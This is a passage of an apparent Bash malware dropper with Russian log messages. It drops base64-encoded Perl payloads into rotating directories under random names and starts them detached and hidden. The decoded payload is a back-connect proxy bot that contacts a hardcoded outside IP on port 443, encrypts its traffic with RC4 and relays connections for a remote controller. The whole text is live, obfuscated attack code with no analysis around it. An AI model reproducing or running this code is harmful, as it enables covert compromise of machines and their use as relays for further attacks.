LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #10 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #10 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 11 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu 